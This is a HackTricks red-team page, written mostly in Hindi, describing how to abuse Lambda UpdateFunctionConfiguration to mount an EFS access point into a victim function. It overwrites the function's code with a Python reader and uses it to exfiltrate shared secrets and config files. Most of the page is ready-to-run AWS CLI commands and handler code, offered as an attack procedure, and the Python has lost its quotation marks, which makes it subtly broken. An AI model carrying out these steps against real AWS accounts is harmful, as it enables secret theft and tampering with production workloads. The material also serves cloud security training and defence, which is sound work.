AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Abuse lambda:UpdateFunctionConfiguration को उपयोग करके एक मौजूदा EFS Access Point को Lambda से attach करें, और फिर माउंट किए गए पाथ से फाइलें list/read करने वाला साधारण कोड डिप्लॉय करें ताकि पहले से फ़ंक्शन द्वारा access न कर पाने वाले shared secrets/config को exfiltrate किया जा सके।

आवश्यकताएं

  • पीड़ित अकाउंट/प्रिंसिपल पर permissions:
  • lambda:GetFunctionConfiguration
  • lambda:ListFunctions (functions खोजने के लिए)
  • lambda:UpdateFunctionConfiguration
  • lambda:UpdateFunctionCode
  • lambda:InvokeFunction
  • efs:DescribeMountTargets (यह सुनिश्चित करने के लिए कि mount targets मौजूद हैं)
  • पर्यावरण संबंधी मान्यताएँ:
  • Target Lambda VPC-enabled है और उसके subnets/SGs EFS mount target SG तक TCP/2049 पर पहुँच सकते हैं (उदा. role में AWSLambdaVPCAccessExecutionRole हो और VPC routing इसकी अनुमति देता हो)।
  • EFS Access Point उसी VPC में है और Lambda subnets के AZs में mount targets मौजूद हैं।

Attack

  • Variables
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
  1. EFS Access Point को Lambda से जोड़ें
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
  1. code को एक सरल reader से ओवरराइट करें जो files को सूचीबद्ध करे और संभावित secret/config file के पहले 200 bytes को पढ़े
cat > reader.py <<PY
import os, json
BASE=/mnt/ht

def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
  1. Invoke और डेटा प्राप्त करें
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json

आउटपुट में /mnt/ht के अंतर्गत डायरेक्टरी लिस्टिंग और EFS से चुनी गई किसी secret/config फ़ाइल का एक छोटा पूर्वावलोकन शामिल होना चाहिए।

Impact

सूचीबद्ध अनुमतियों वाले एक हमलावर in-VPC EFS Access Points को लक्षित Lambda functions में arbitrary रूप से माउंट कर सकता है ताकि वे EFS पर संग्रहीत साझा configuration और secrets को पढ़कर और exfiltrate कर सकें — ये पहले उस function के लिए अनुपलब्ध थे।

Cleanup

aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें